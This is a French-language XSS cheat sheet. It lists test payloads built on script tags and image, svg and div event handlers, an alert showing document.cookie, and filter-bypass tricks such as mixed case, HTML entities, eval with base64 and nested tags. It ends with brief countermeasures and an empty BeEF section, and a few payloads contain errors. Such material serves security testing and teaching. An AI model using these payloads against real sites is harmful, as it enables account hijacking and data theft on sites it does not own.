Skip to content

Injections XSS

Présentation

Il existe plusieurs type d'injections XSS:

  • Les réfléchies
  • Les stoqués
  • Celles basé sur des manipuluation de la DOM

  • Les injections réfléchies sont basé sur des champs qui n'entregistrent pas les informations comme une barre de recherche par exemple

  • Les injections stoqués sont basé sur des champs qui enregistrent des informations qui seront réafficher par le site en question
  • Les injections basés sur la DOM sont des injections basées sur l'ajout d'éléments malveillants dans la DOM

Exploitation (Reflexed/Store)

Tester si un champ est vulnérable

JavaScript
<script>alert("XSS Attack")</script>

Tester avec une image

JavaScript
<img src='#' onmousehover=alert("XSS Attack")>

Tester avec une image svg

JavaScript
<svg/onload=alert('XSS Attack')>

Tester avec une div

JavaScript
<div onpointerover="alert('XSS Attack')">MOVE HERE</div>

Récupérer les cookies

JavaScript
<script>alert(document.cookie)</script>

Exploitation (DOM based)

Quelques instructions qui ne sont pas toujours filtrés

Pour les images

  • onerror
  • onsubmit
  • onload
  • onmouseover
  • onfocus
  • onmouseout
  • onkeypress
  • onchange

Pour les divs

  • onpointerover
  • onpointerdown
  • onpointerenter
  • onpointerleave
  • onpointermove
  • onpointerout
  • onpointerup

Bypass des protections

Liste de quelques astuces pour passer outre les protections

Caractères

Majuscules

JavaScript
<Script>alert('XSS Attack')</Script>
<ScRiPt>alert('XSS Attack')</ScRiPt>
<sCrIpT>alert('XSS Attack')</sCrIpT>
<SCRIPT>alert('XSS Attack')</SCRIPT>

Caractère ascii simple

JavaScript
<a href="&#106;avascript:alert('XSS Attack')"></a>

Caractère ascii en hexadécimal

JavaScript
<a href="&#x6A;avascript:alert('XSS Attack')">Click this link!</a>

Eval et base64

JavaScript
<body onload="eval(atob('YWxlcnQoJ1hTUycp='))">

Utiliser des espaces. Selon le back-end les espaces de sont pas pris en compte.

JavaScript
<img src="java    script:al ert('XSS Attack')">

Balise dans une autre balise

JavaScript
<scr<script>ipt>alert('XSS Attack')</script>

Contre-Mesures

  • Il est recommandé de ne jamais utiliser les fonctions eval(),innerHTML en javascript car elle est à même d'exécuter du code malveillant
  • Nettoyer toutes ces entrées avec un framework dédié à cet effet
  • Mettre en place un WAF pour filtrer le trafic

Exploitation avec Beef

ToDo

Sources